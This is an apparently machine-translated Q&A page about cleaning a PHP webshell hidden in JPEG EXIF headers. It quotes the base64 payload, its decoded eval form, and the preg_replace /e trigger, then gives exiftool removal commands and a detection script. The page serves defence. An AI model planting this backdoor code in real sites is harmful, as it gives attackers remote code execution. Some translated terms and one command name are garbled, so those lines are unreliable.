如何使用 find 从 JPEG 文件中删除字符串?

如何使用 find 从 JPEG 文件中删除字符串?

我在许多媒体目录中有许多带有某些字符串的文件,我想删除这些字符串。

该字符串包含在 JPEG 文件中,如下所示:

eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));

解码后的base64编码部分为:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

怎么做?

答案1

解释

您所描述的是已知 PHP 后门的一部分。主要 PHP 代码通过 base64 编码进行隐藏,因此不容易被发现。您展示的代码通常隐藏在Exif标题Model和另一个重要部分(聚合酶链反应 /.*/e) 通常在标题中Make

Exif 中的代码由后门的另一部分执行 - 调用preg_replace($exif['Make'],$exif['Model'],'');图像中的 Exif 数据。有关详细信息,请参阅示例恶意软件隐藏在 JPG EXIF 标头中或者在图像文件中隐藏 Webshel​​l 后门代码

解决方案

您可以通过删除相关的 Exif 标头来修复受感染的图像。首先检查有问题的字符串是否在标头中Make,然后Model

exiftool file.jpg

然后你可以删除标题:

find /directory/with/images -iname '*.jpg' -exec exiftools -Make= -Model= {} +

此代码将从所有文件中删除两个标头,.jpg无论标头的内容如何。如果您只想删除受感染的标头,代码将更加复杂。执行此操作的脚本位于本答案的末尾。

检查结果无误后,您可以删除由以下命令创建的备份exiftool

find /directory/with/images -iname '*.jpg_original' -delete

请记住,后门的其他部分也应该被删除。它位于服务器上的 PHP 代码中,通常如下所示:

$exif = exif_read_data('/path/to/an/image.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

更精确的删除脚本

以下脚本检测哪些 Exif 标头中存在恶意软件代码。将代码存储到文件中,例如,rm-jpg-backdoor然后启用执行:chmod a+x rm-jpg-backdoor。调用脚本时,您可以将要清理的文件目录作为参数传递。示例:./rm-jpg-backdoor /directory/with/images

#!/bin/sh

suff=jpg    # problematic file suffix

# extended regex signatures of malware code
badregex1='eval\( *base64_decode\( *'\'
badregex2='/.+/e'

script="$0" # this script name for recursion

for f in "$@" ; do
    if test -d "$f" ; then
        echo "=== recursing directory $f"
        find "$f" -type f -iname "*.$suff" -exec "$script" {} +
    elif test -f "$f" ; then
        echo "-- cleaning file $f"
        hdr1="$( exiftool "$f" | grep -E ".+ +: +$badregex1" | sed -r 's/^([a-zA-Z /]*[a-zA-Z]) +: +.*$/\1/' )"
        test -n "$hdr1" && { echo "removing $hdr1" ; exiftool "-$hdr1=" "$f" ; }
        hdr2="$( exiftool "$f" | grep -E ".+ +: +$badregex2" | sed -r 's/^([a-zA-Z /]*[a-zA-Z]) +: +.*$/\1/' )"
        test -n "$hdr2" && { echo "removing $hdr2" ; exiftool "-$hdr2=" "$f" ; }
    fi
done

相关内容